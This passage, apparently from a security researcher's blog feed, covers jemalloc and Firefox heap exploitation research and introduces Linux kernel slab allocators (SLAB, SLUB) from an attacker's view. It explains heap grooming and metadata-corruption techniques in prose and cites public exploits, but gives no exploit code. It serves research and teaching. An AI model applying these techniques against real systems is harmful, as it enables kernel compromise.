that \ncan be reused on other allocators. We took the concept of <em>weird machines<\/em> as \ndefined by Sergey Bratus and Halvar Flake and applied it to heap managers. \nBriefly, we consider an allocator to be a deterministic automaton. Metadata \ncorruption attacks can then be viewed as corruptions of the automaton\u2019s \ntransition function. Application-specific attacks, like adjacent memory region \ncorruptions, can be viewed as manipulations of the automaton\u2019s determinacy.<\/p>\n\n<p>Please consider this as our early attempt on abstracting heap exploitation \n(also that it was put together in three hours) and expect more work on the \nsubject from us.<\/p>\n\n<p>Thanks to: Sergey Bratus and Halvar Flake for the weird machine concept; Chris \nValasek and Yiorgos Adamopoulos for interesting discussions on exploitation \nabstraction; Konstantinos Papapanagiotou for inviting us to replace the \ncancelled talk.<\/p>\n"},{"title":"Black Hat USA 2012: Owning Firefox's Heap","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2012\/05\/14\/blackhat-usa-2012\/"}},"updated":"2012-05-14T00:00:00+00:00","id":"https:\/\/argp.github.io\/2012\/05\/14\/blackhat-usa-2012","content":"<p>Continuing our work on jemalloc exploitation, myself and Chariton Karamitas \n(intern at <a href=\"http:\/\/census-labs.com\/\">CENSUS S.A.<\/a>) are presenting\n<a href=\"https:\/\/www.blackhat.com\/html\/bh-us-12\/bh-us-12-briefings.html#Argyroudis\">Owning Firefox\u2019s Heap<\/a>\nat <a href=\"https:\/\/www.blackhat.com\/html\/bh-us-12\/bh-us-12-briefings.html\">Black Hat USA 2012<\/a>.\nThis presentation extends our recently published\n<a href=\"http:\/\/www.phrack.org\/issues\/68\/10.html#article\">Phrack paper<\/a> by focusing\nspecifically on the most widely used jemalloc application, namely the\n<a href=\"http:\/\/www.mozilla.org\/en-US\/firefox\/\">Mozilla Firefox<\/a> web browser.<\/p>\n\n<p>The abstract of our talk will give you a good preview of the\n<a href=\"https:\/\/speakerdeck.com\/argp\/exploiting-the-jemalloc-memory-allocator-owning-firefoxs-heap\">content<\/a>:<\/p>\n\n<blockquote>\n  <p>jemalloc is a userland memory allocator that is being increasingly adopted by \nsoftware projects as a high performance heap manager. It is used in Mozilla \nFirefox for the Windows, Mac OS X and Linux platforms, and as the default \nsystem allocator on the FreeBSD and NetBSD operating systems. Facebook also \nuses jemalloc in various components to handle the load of its web services. \nHowever, despite such widespread use, there is no work on the exploitation of \njemalloc.<\/p>\n\n  <p>Our research addresses this. We will begin by examining the architecture of \nthe jemalloc heap manager and its internal concepts, while focusing on \nidentifying possible attack vectors. jemalloc does not utilize concepts such as \n\u2018unlinking\u2019 or \u2018frontlinking\u2019 that have been used \nextensively in the past to undermine the security of other allocators. \nTherefore, we will develop novel exploitation approaches and primitives that \ncan be used to attack jemalloc heap corruption vulnerabilities. As a case \nstudy, we will investigate Mozilla Firefox and demonstrate the impact of our \ndeveloped exploitation primitives on the browser\u2019s heap. In order to aid \nthe researchers willing to continue our work, we will also release our jemalloc \ndebugging tool belt.<\/p>\n<\/blockquote>\n\n<p>For updates on this talk, information on my research and my work at\n<a href=\"http:\/\/census-labs.com\/\">CENSUS S.A.<\/a> in general you can\n<a href=\"http:\/\/twitter.com\/_argp\">follow me on Twitter<\/a>.<\/p>\n\n<p>Update: The presentation material are now available\n<a href=\"http:\/\/census-labs.com\/news\/2012\/08\/03\/blackhat-usa-2012-update\/\">here<\/a>.<\/p>\n"},{"title":"Pseudomonarchia jemallocum","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2012\/04\/16\/pseudomonarchia-jemallocum\/"}},"updated":"2012-04-16T00:00:00+00:00","id":"https:\/\/argp.github.io\/2012\/04\/16\/pseudomonarchia-jemallocum","content":"<p><a href=\"http:\/\/www.phrack.org\/issues\/68\/1.html\">Phrack 0x44<\/a>\nis out with my and huku\u2019s research on exploiting\n<a href=\"http:\/\/www.canonware.com\/jemalloc\/\">jemalloc<\/a> titled:<\/p>\n\n<p><a href=\"http:\/\/www.phrack.org\/issues\/68\/10.html#article\">Pseudomonarchia jemallocum: The false kingdom of jemalloc, or on exploiting the\njemalloc memory manager<\/a><\/p>\n\n<p>I have been working on and off jemalloc since mid 2010 and it\u2019s very nice to\nsee the work published. In <a href=\"http:\/\/www.phrack.org\/\">Phrack<\/a> :)<\/p>\n\n<p>As the main paper mentions, the development of our gdb\/Python utility\n<code class=\"language-plaintext highlighter-rouge\">unmask_jemalloc<\/code> will continue on\n<a href=\"https:\/\/github.com\/argp\/unmask_jemalloc\">GitHub<\/a>.<\/p>\n"},{"title":"The Linux kernel memory allocators from an exploitation perspective","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2012\/01\/03\/linux-kernel-heap-exploitation\/"}},"updated":"2012-01-03T00:00:00+00:00","id":"https:\/\/argp.github.io\/2012\/01\/03\/linux-kernel-heap-exploitation","content":"<p>In anticipation of <a href=\"https:\/\/twitter.com\/djrbliss\">Dan Rosenberg\u2019s<\/a>\ntalk on exploiting the Linux kernel\u2019s SLOB memory allocator at the\n<a href=\"http:\/\/infiltratecon.com\/\">Infiltrate security conference<\/a>\nand because I recently had a discussion with some friends about the different\nkernel memory allocators in Linux, I decided to write this quick introduction.\nI will present some of the allocators\u2019 characteristics and also provide\nreferences to public work on exploitation techniques.<\/p>\n\n<p align=\"center\">\n<img src=\"\/public\/slabs.jpg\" width=\"300\" height=\"225\" \/>\n<\/p>\n\n<p>At the time of this writing, the Linux kernel has three different memory\nallocators in the official code tree, namely SLAB, SLUB and SLOB. These\nallocators are on a memory management layer that is logically on top of the\nsystem\u2019s low level page allocator and are mutually exclusive (i.e. you\ncan only have one of them enabled\/compiled in your kernel). They are used when\na kernel developer calls <code class=\"language-plaintext highlighter-rouge\">kmalloc()<\/code> or a similar function. Unsurprisingly,\nthey can all be found in the\n<a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/\">mm directory<\/a>. All of them follow, to\nvarious extends and by extending or simplifying, the <a href=\"http:\/\/citeseerx.ist.psu.edu\/viewdoc\/summary?doi=10.1.1.29.4759\">traditional slab allocator\ndesign<\/a> (notice\nthe lowercase \u201cslab\u201d; that\u2019s the term for the general allocator design approach,\nwhile \u201cSLAB\u201d is a slab implementation in the Linux kernel). Slab allocators\nallocate prior to any request, for example at kernel boot time, large areas of\nvirtual memory (called \u201cslabs\u201d, hence the name). Each one of these slabs is then\n associated to a kernel structure of a specific type and size. Furthermore, each\nslab is divided into the appropriate number of slots for the size of the kernel\nstructure it is associated with.<\/p>\n\n<p>As an example consider that a slab for the structure <code class=\"language-plaintext highlighter-rouge\">task_struct<\/code> has 31 slots.\nThe size of a <code class=\"language-plaintext highlighter-rouge\">task_struct<\/code> is 1040 bytes, so assuming that a page is 4096 bytes\n(the default) then a <code class=\"language-plaintext highlighter-rouge\">task_struct<\/code> slab is 8 pages long. Apart from the\nstructure-specific slabs, like the one above for <code class=\"language-plaintext highlighter-rouge\">task_struct<\/code>, there are also\nthe so called general purpose slabs which are used to serve arbitrary-sized\n<code class=\"language-plaintext highlighter-rouge\">kmalloc()<\/code> requests. These requests are adjusted by the allocator for alignment\nand assigned to a suitable slab.<\/p>\n\n<p>Let\u2019s take a look at the slabs of a recent Linux kernel:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"nv\">$ <\/span><span class=\"nb\">cat<\/span> \/proc\/slabinfo\nslabinfo - version: 2.1\n...\nfat_inode_cache       57     57    416   19    2 : tunables    0    0    0 : slabdata      3      3      0\nfat_cache            170    170     24  170    1 : tunables    0    0    0 : slabdata      1      1      0\nVMBlockInodeCache      7      7   4480    7    8 : tunables    0    0    0 : slabdata      1      1      0\nblockInfoCache         0      0   4160    7    8 : tunables    0    0    0 : slabdata      0      0      0\nAF_VMCI                0      0    704   23    4 : tunables    0    0    0 : slabdata      0      0      0\nfuse_request          80     80    400   20    2 : tunables    0    0    0 : slabdata      4      4      0\nfuse_inode         21299  21690    448   18    2 : tunables    0    0    0 : slabdata   1205   1205      0\n...\nkmalloc-8192          94     96   8192    4    8 : tunables    0    0    0 : slabdata     24     24      0\nkmalloc-4096         118    128   4096    8    8 : tunables    0    0    0 : slabdata     16     16      0\nkmalloc-2048         173    208   2048   16    8 : tunables    0    0    0 : slabdata     13     13      0\nkmalloc-1024         576    640   1024   16    4 : tunables    0    0    0 : slabdata     40     40      0\nkmalloc-512          904    992    512   16    2 : tunables    0    0    0 : slabdata     62     62      0\nkmalloc-256          540    976    256   16    1 : tunables    0    0    0 : slabdata     61     61      0\nkmalloc-128          946   1408    128   32    1 : tunables    0    0    0 : slabdata     44     44      0\nkmalloc-64         13013  13248     64   64    1 : tunables    0    0    0 : slabdata    207    207      0\nkmalloc-32         23624  27264     32  128    1 : tunables    0    0    0 : slabdata    213    213      0\nkmalloc-16          3546   3584     16  256    1 : tunables    0    0    0 : slabdata     14     14      0\nkmalloc-8           4601   4608      8  512    1 : tunables    0    0    0 : slabdata      9      9      0\nkmalloc-192         3659   4620    192   21    1 : tunables    0    0    0 : slabdata    220    220      0\nkmalloc-96         10137  11340     96   42    1 : tunables    0    0    0 : slabdata    270    270      0\nkmem_cache            32     32    128   32    1 : tunables    0    0    0 : slabdata      1      1      0\nkmem_cache_node      256    256     32  128    1 : tunables    0    0    0 : slabdata      2      2      0<\/code><\/pre><\/figure>\n\n<p>Here you can see structure-specific slabs, for example <code class=\"language-plaintext highlighter-rouge\">fuse_inode<\/code>, and\ngeneral purpose slabs, for example <code class=\"language-plaintext highlighter-rouge\">kmalloc-96<\/code>.<\/p>\n\n<p>When it comes to the exploitation of overflow bugs in the context of slab\nallocators, there are three general approaches to corrupt kernel memory:<\/p>\n\n<ul>\n  <li>Corruption of the adjacent objects\/structures of the same slab.<\/li>\n  <li>Corruption of the slab allocator\u2019s management structures\n(referred to as <em>metadata<\/em>).<\/li>\n  <li>Corruption of the adjacent <em>physical<\/em> page of the slab your vulnerable\nstructure is allocated on.<\/li>\n<\/ul>\n\n<p>The ultimate goal of the above approaches is of course to gain\ncontrol of the kernel\u2019s execution flow and divert\/hijack it to your own\ncode. In order to be able to manipulate the allocator and the state of its\nslabs, arranging structures on them to your favor (i.e. next to each other on\nthe same slab, or at the end of a slab), it is nice (but not strictly required\n;) to have some information on the allocator\u2019s state. The proc filesystem\nprovides us with a way to get this information. Unprivileged local users can\nsimply <code class=\"language-plaintext highlighter-rouge\">cat \/proc\/slabinfo<\/code> (as shown above) and see the allocator\u2019s\nslabs, the number of used\/free structures on them, etc. <a href=\"http:\/\/thread.gmane.org\/gmane.linux.kernel\/1108378\/\">Is your distribution\nstill allowing this?<\/a><\/p>\n\n<p>For each one of the Linux kernel\u2019s allocators I will provide references to\npapers describing practical attack techniques and examples of public exploits.<\/p>\n\n<h3 id=\"slab\">SLAB<\/h3>\n\n<p>Starting with the oldest of the three allocators,\n<a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/slab.c\">SLAB<\/a> organizes physical memory\nframes in caches. Each cache is responsible for a specific kernel structure.\nAlso, each cache holds slabs that consist of contiguous pages and these slabs\nare responsible for the actual storing of the kernel structures of the\ncache\u2019s type. A SLAB\u2019s slab can have both allocated (in use) and deallocated\n(free) slots. Based on this and with the goal of reducing fragmentation of the\nsystem\u2019s virtual memory, a cache\u2019s slabs are divided into three lists; a list\nwith full slabs (i.e slabs with no free slots), a list with empty slabs (slabs\non which all slots are free), and a list with partial slabs (slabs that have\nslots both in use and free).<\/p>\n\n<p>A SLAB\u2019s slab is described by the following structure:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"k\">struct<\/span> <span class=\"n\">slab<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"k\">union<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"k\">struct<\/span>\n        <span class=\"p\">{<\/span>\n            <span class=\"k\">struct<\/span> <span class=\"n\">list_head<\/span> <span class=\"n\">list<\/span><span class=\"p\">;<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">colouroff<\/span><span class=\"p\">;<\/span>\n            <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">s_mem<\/span><span class=\"p\">;<\/span>            <span class=\"cm\">\/* including colour offset *\/<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"kt\">int<\/span> <span class=\"n\">inuse<\/span><span class=\"p\">;<\/span>     <span class=\"cm\">\/* num of objs active in slab *\/<\/span>\n            <span class=\"n\">kmem_bufctl_t<\/span> <span class=\"n\">free<\/span><span class=\"p\">;<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"kt\">short<\/span> <span class=\"n\">nodeid<\/span><span class=\"p\">;<\/span>\n        <span class=\"p\">};<\/span>\n\n        <span class=\"k\">struct<\/span> <span class=\"n\">slab_rcu<\/span> <span class=\"n\">__slab_cover_slab_rcu<\/span><span class=\"p\">;<\/span>\n    <span class=\"p\">};<\/span>\n<span class=\"p\">};<\/span><\/code><\/pre><\/figure>\n\n<p>The <code class=\"language-plaintext highlighter-rouge\">list<\/code> variable is used to place the slab in one of the lists I\ndescribed above. Coloring and the variable <code class=\"language-plaintext highlighter-rouge\">colouroff<\/code> require some explanation\nin case you haven\u2019t seen them before. <em>Coloring<\/em> or <em>cache coloring<\/em> is a\nperformance trick to reduce processor L1 cache hits. This is accomplished by\nmaking sure that the first \u201cslot\u201d of a slab (which is used to store\nthe slab\u2019s <code class=\"language-plaintext highlighter-rouge\">slab<\/code> structure, i.e. the slab\u2019s metadata) is not\nplaced at the beginning of the slab (which is also at the start of a page) but\nan offset <code class=\"language-plaintext highlighter-rouge\">colouroff<\/code> from it. <code class=\"language-plaintext highlighter-rouge\">s_mem<\/code> is a pointer to the first slot of the\nslab that stores an actual kernel structure\/object. <code class=\"language-plaintext highlighter-rouge\">free<\/code> is an index to the\nnext free object of the slab.<\/p>\n\n<p>As I mentioned in the previous paragraph, a SLAB\u2019s slab\nbegins with a <code class=\"language-plaintext highlighter-rouge\">slab<\/code> structure (the slab\u2019s metadata) and is followed by\nthe slab\u2019s objects. The stored objects on a slab are contiguous, with no\nmetadata in between them, making easier the exploitation approach of corrupting\nadjacent objects. Easier means that when we overflow from one object to its\nadjacent we don\u2019t corrupt management data that could lead to making the\nsystem crash.<\/p>\n\n<p>By manipulating SLAB through controlled allocations and\ndeallocations from userland that affect the kernel (for example via system\ncalls) we can arrange that the overflow from a vulnerable structure will\ncorrupt an adjacent structure of our own choosing. The fact that SLAB\u2019s\nallocations and deallocations work in a LIFO manner is of course to our\nadvantage in arranging structures\/objects on the slabs. As qobaiashi has\npresented in his paper <a href=\"\/public\/kmalloc_exploitation.pdf\">\u201cThe story of exploiting kmalloc()\noverflows\u201d<\/a>,\nthe system calls <code class=\"language-plaintext highlighter-rouge\">semget()<\/code> and <code class=\"language-plaintext highlighter-rouge\">semctl(..., ..., IPC_RMID)<\/code> is one way to make\ncontrolled allocations and deallocations respectively. The term \u201ccontrolled\u201d\nhere refers to both the size of the allocation\/deallocation and the fact that we\ncan use them directly from userland. Another requirement that these system\ncalls satisfy is that the structure they allocate can help us in our quest for\ncode execution when used as a victim object and corrupted from a vulnerable\nobject. Other ways\/system calls that satisfy all the above requirements do\nexist.<\/p>\n\n<p>Another resource on attacking SLAB is \u201cExploiting kmalloc overflows to 0wn j00\u201d\nby amnesia and clflush. In that presentation the authors explained the\ndevelopment process for a reliable exploit for vulnerability\n<a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2004-0424\">CVE-2004-0424<\/a>\n(which was an integer overflow leading to a kernel heap buffer overflow found by\nihaquer and cliph). Both the presentation and the exploit are not public as far\nas I know. However, a full exploit was published by twiz and sgrakkyu in\n<a href=\"http:\/\/phrack.org\/issues\/64\/6.html#article\">Phrack #64<\/a> (<code class=\"language-plaintext highlighter-rouge\">castity.c<\/code>).<\/p>\n\n<h3 id=\"slub\">SLUB<\/h3>\n\n<p><a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/slub.c\">SLUB<\/a> is currently the default\nallocator of the Linux kernel. It follows the SLAB allocator I have already\ndescribed in its general design (caches, slabs, full\/empty\/partial lists of\nslabs, etc.), however it has introduced simplifications in respect to management\noverhead to achieve better performance. One of the main differences is that SLUB\nhas no metadata at the beginning of each slab like SLAB, but instead it has\nadded its metadata variables in the Linux kernel\u2019s <code class=\"language-plaintext highlighter-rouge\">page<\/code> structure to track the\nallocator\u2019s data on the physical pages.<\/p>\n\n<p>The following excerpt includes only the relevant parts of the <code class=\"language-plaintext highlighter-rouge\">page<\/code> structure,\nsee <a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/include\/linux\/mm_types.h#L27\">here<\/a> for\nthe complete version.<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"k\">struct<\/span> <span class=\"n\">page<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"p\">...<\/span>\n\n    <span class=\"k\">struct<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"k\">union<\/span>\n        <span class=\"p\">{<\/span>\n            <span class=\"n\">pgoff_t<\/span> <span class=\"n\">index<\/span><span class=\"p\">;<\/span>          <span class=\"cm\">\/* Our offset within mapping. *\/<\/span>\n            <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">freelist<\/span><span class=\"p\">;<\/span>         <span class=\"cm\">\/* slub first free object *\/<\/span>\n        <span class=\"p\">};<\/span>\n\n        <span class=\"p\">...<\/span>\n\n        <span class=\"k\">struct<\/span>\n        <span class=\"p\">{<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"n\">inuse<\/span><span class=\"o\">:<\/span><span class=\"mi\">16<\/span><span class=\"p\">;<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"n\">objects<\/span><span class=\"o\">:<\/span><span class=\"mi\">15<\/span><span class=\"p\">;<\/span>\n            <span class=\"kt\">unsigned<\/span> <span class=\"n\">frozen<\/span><span class=\"o\">:<\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n        <span class=\"p\">};<\/span>\n\n        <span class=\"p\">...<\/span>\n    <span class=\"p\">};<\/span>\n\n    <span class=\"p\">...<\/span>\n\n    <span class=\"k\">union<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"p\">...<\/span>\n        <span class=\"k\">struct<\/span> <span class=\"n\">kmem_cache<\/span> <span class=\"o\">*<\/span><span class=\"n\">slab<\/span><span class=\"p\">;<\/span>        <span class=\"cm\">\/* SLUB: Pointer to slab *\/<\/span>  \n        <span class=\"p\">...<\/span>\n    <span class=\"p\">};<\/span>\n\n    <span class=\"p\">...<\/span>\n<span class=\"p\">};<\/span><\/code><\/pre><\/figure>\n\n<p>Since there are no metadata on the slab itself, a <code class=\"language-plaintext highlighter-rouge\">page<\/code>\u2019s\n<code class=\"language-plaintext highlighter-rouge\">freelist<\/code> pointer is used to point to the first free object of the slab. A\nfree object of a slab has a small header with metadata that contain a pointer\nto the next free object of the slab. The <code class=\"language-plaintext highlighter-rouge\">index<\/code> variable holds the offset to\nthese metadata within a free object. <code class=\"language-plaintext highlighter-rouge\">inuse<\/code> and <code class=\"language-plaintext highlighter-rouge\">objects<\/code> hold respectively\nthe allocated and total number of objects of the slab. <code class=\"language-plaintext highlighter-rouge\">frozen<\/code> is a flag that\nspecifies whether the page can be used by SLUB\u2019s list management\nfunctions. Specifically, if a page has been frozen by a CPU core, only this\ncore can retrieve free objects from the page, while the other available CPU\ncores can only add free objects to it. The last interesting for our discussion\nvariable is <code class=\"language-plaintext highlighter-rouge\">slab<\/code> which is of type <code class=\"language-plaintext highlighter-rouge\">struct kmem_cache<\/code> and is a pointer to the\nslab on the page.<\/p>\n\n<p>The function <code class=\"language-plaintext highlighter-rouge\">on_freelist()<\/code> is used by SLUB to determine if a\ngiven object is on a given page\u2019s <code class=\"language-plaintext highlighter-rouge\">freelist<\/code> and provides a nice\nintroduction to the use of the above elements. The following snippet is an\nexample invocation of <code class=\"language-plaintext highlighter-rouge\">on_freelist()<\/code> (taken from\n<a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/slub.c#L3269\">here<\/a>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"n\">slab_lock<\/span><span class=\"p\">(<\/span><span class=\"n\">page<\/span><span class=\"p\">);<\/span>\n\n<span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">on_freelist<\/span><span class=\"p\">(<\/span><span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">slab<\/span><span class=\"p\">,<\/span> <span class=\"n\">page<\/span><span class=\"p\">,<\/span> <span class=\"n\">object<\/span><span class=\"p\">))<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"n\">object_err<\/span><span class=\"p\">(<\/span><span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">slab<\/span><span class=\"p\">,<\/span> <span class=\"n\">page<\/span><span class=\"p\">,<\/span> <span class=\"n\">object<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"Object is on free-list\"<\/span><span class=\"p\">);<\/span>\n    <span class=\"n\">rv<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">false<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<span class=\"k\">else<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"n\">rv<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">true<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"n\">slab_unlock<\/span><span class=\"p\">(<\/span><span class=\"n\">page<\/span><span class=\"p\">);<\/span><\/code><\/pre><\/figure>\n\n<p>Locking is required to avoid inconsistencies since <code class=\"language-plaintext highlighter-rouge\">on_freelist()<\/code>\nmakes some modifications and it could be interrupted. Let\u2019s take a look\nat an excerpt from <code class=\"language-plaintext highlighter-rouge\">on_freelist()<\/code> (the full version is\n<a href=\"http:\/\/lxr.linux.no\/linux+v3.1.6\/mm\/slub.c#L929\">here<\/a>):<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-c\" data-lang=\"c\"><span class=\"k\">static<\/span> <span class=\"kt\">int<\/span> <span class=\"nf\">on_freelist<\/span><span class=\"p\">(<\/span><span class=\"k\">struct<\/span> <span class=\"n\">kmem_cache<\/span> <span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"k\">struct<\/span> <span class=\"n\">page<\/span> <span class=\"o\">*<\/span><span class=\"n\">page<\/span><span class=\"p\">,<\/span> <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">search<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n    <span class=\"kt\">int<\/span> <span class=\"n\">nr<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n    <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">fp<\/span><span class=\"p\">;<\/span>\n    <span class=\"kt\">void<\/span> <span class=\"o\">*<\/span><span class=\"n\">object<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n    <span class=\"kt\">unsigned<\/span> <span class=\"kt\">long<\/span> <span class=\"n\">max_objects<\/span><span class=\"p\">;<\/span>\n\n    <span class=\"n\">fp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">freelist<\/span><span class=\"p\">;<\/span>\n    <span class=\"k\">while<\/span><span class=\"p\">(<\/span><span class=\"n\">fp<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"n\">nr<\/span> <span class=\"o\">&lt;=<\/span> <span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">objects<\/span><span class=\"p\">)<\/span>\n    <span class=\"p\">{<\/span>\n        <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">fp<\/span> <span class=\"o\">==<\/span> <span class=\"n\">search<\/span><span class=\"p\">)<\/span>\n            <span class=\"k\">return<\/span> <span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n        <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"n\">check_valid_pointer<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"n\">page<\/span><span class=\"p\">,<\/span> <span class=\"n\">fp<\/span><span class=\"p\">))<\/span>\n        <span class=\"p\">{<\/span>\n            <span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"n\">object<\/span><span class=\"p\">)<\/span>\n            <span class=\"p\">{<\/span>\n                <span class=\"n\">object_err<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"n\">page<\/span><span class=\"p\">,<\/span> <span class=\"n\">object<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"Freechain corrupt\"<\/span><span class=\"p\">);<\/span>\n                <span class=\"n\">set_freepointer<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"n\">object<\/span><span class=\"p\">,<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">);<\/span>\n                <span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n            <span class=\"p\">}<\/span>\n            <span class=\"k\">else<\/span>\n            <span class=\"p\">{<\/span>\n                <span class=\"n\">slab_err<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"n\">page<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"Freepointer corrupt\"<\/span><span class=\"p\">);<\/span>\n                <span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">freelist<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">NULL<\/span><span class=\"p\">;<\/span>\n                <span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">inuse<\/span> <span class=\"o\">=<\/span> <span class=\"n\">page<\/span><span class=\"o\">-&gt;<\/span><span class=\"n\">objects<\/span><span class=\"p\">;<\/span>\n                <span class=\"n\">slab_fix<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"s\">\"Freelist cleared\"<\/span><span class=\"p\">);<\/span>\n                <span class=\"k\">return<\/span> <span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n            <span class=\"p\">}<\/span>\n\n            <span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n        <span class=\"p\">}<\/span>\n\n        <span class=\"n\">object<\/span> <span class=\"o\">=<\/span> <span class=\"n\">fp<\/span><span class=\"p\">;<\/span>\n        <span class=\"n\">fp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">get_freepointer<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span> <span class=\"n\">object<\/span><span class=\"p\">);<\/span>\n        <span class=\"n\">nr<\/span><span class=\"o\">++<\/span><span class=\"p\">;<\/span>\n    <span class=\"p\">}<\/span>\n\n    <span class=\"p\">...<\/span>\n<span class=\"p\">}<\/span><\/code><\/pre><\/figure>\n\n<p>The function starts with a simple piece of code that walks the\n<code class=\"language-plaintext highlighter-rouge\">freelist<\/code> and demonstrates the use of SLUB internal variables. Of particular\ninterest is the call of the <code class=\"language-plaintext highlighter-rouge\">check_valid_pointer()<\/code> function which verifies\nthat a <code class=\"language-plaintext highlighter-rouge\">freelist<\/code>\u2019s object\u2019s address (variable <code class=\"language-plaintext highlighter-rouge\">fp<\/code>) is within a\nslab page. This is a check that safeguards against corruptions of the\n<code class=\"language-plaintext highlighter-rouge\">freelist<\/code>.<\/p>\n\n<p>This brings us to attacks against the SLUB memory allocator. The\nattack vector of corrupting adjacent objects on the same slab is fully\napplicable to SLUB and largely works like in the case of the SLAB allocator.\nHowever, in the case of SLUB there is an added attack vector: exploiting the\nallocator\u2019s metadata (the ones responsible for finding the next free\nobject on the slab). As twiz and sgrakkyu have demonstrated in\n<a href=\"http:\/\/www.amazon.com\/gp\/product\/1597494860\/ref=as_li_ss_tl?ie=UTF8&amp;tag=oss042-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=1597494860\">their book on kernel\nexploitation<\/a>, the slab\ncan be misaligned by corrupting the least significant byte of the metadata of a\nfree object that hold the pointer to the next free object. This misalignment of\nthe slab allows us to create an in-slab fake object and by doing so to a)\nsatisfy safeguard checks as the one I explained in the previous paragraph when\nthey are used, and b) to hijack the kernel\u2019s execution flow to our own code.<\/p>\n\n<p>An example of SLUB metadata corruption and slab misalignment is the\nexploit for vulnerability\n<a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2009-1046\">CVE-2009-1046<\/a>\nwhich was an off-by-two kernel heap overflow. In\n<a href=\"http:\/\/kernelbof.blogspot.com\/2009\/07\/even-when-one-byte-matters.html\">this blog\npost<\/a>\nsgrakkyu explained how by using only an one byte overflow turned this\nvulnerability into a reliable exploit (<code class=\"language-plaintext highlighter-rouge\">tiocl_houdini.c<\/code>). If you\u2019re wondering\nwhy an one byte overflow is more reliable than a two byte overflow think about\nlittle-endian representation.<\/p>\n\n<p>A public example of corrupting adjacent SLUB objects is the exploit\n<code class=\"language-plaintext highlighter-rouge\">i-can-haz-modharden.c<\/code> by Jon Oberheide for vulnerability\n<a href=\"http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2010-2959\">CVE-2010-2959<\/a>\ndiscovered by Ben Hawkes. In <a href=\"https:\/\/jon.oberheide.org\/blog\/2010\/09\/10\/linux-kernel-can-slub-overflow\/\">this blog\npost<\/a>\nyou 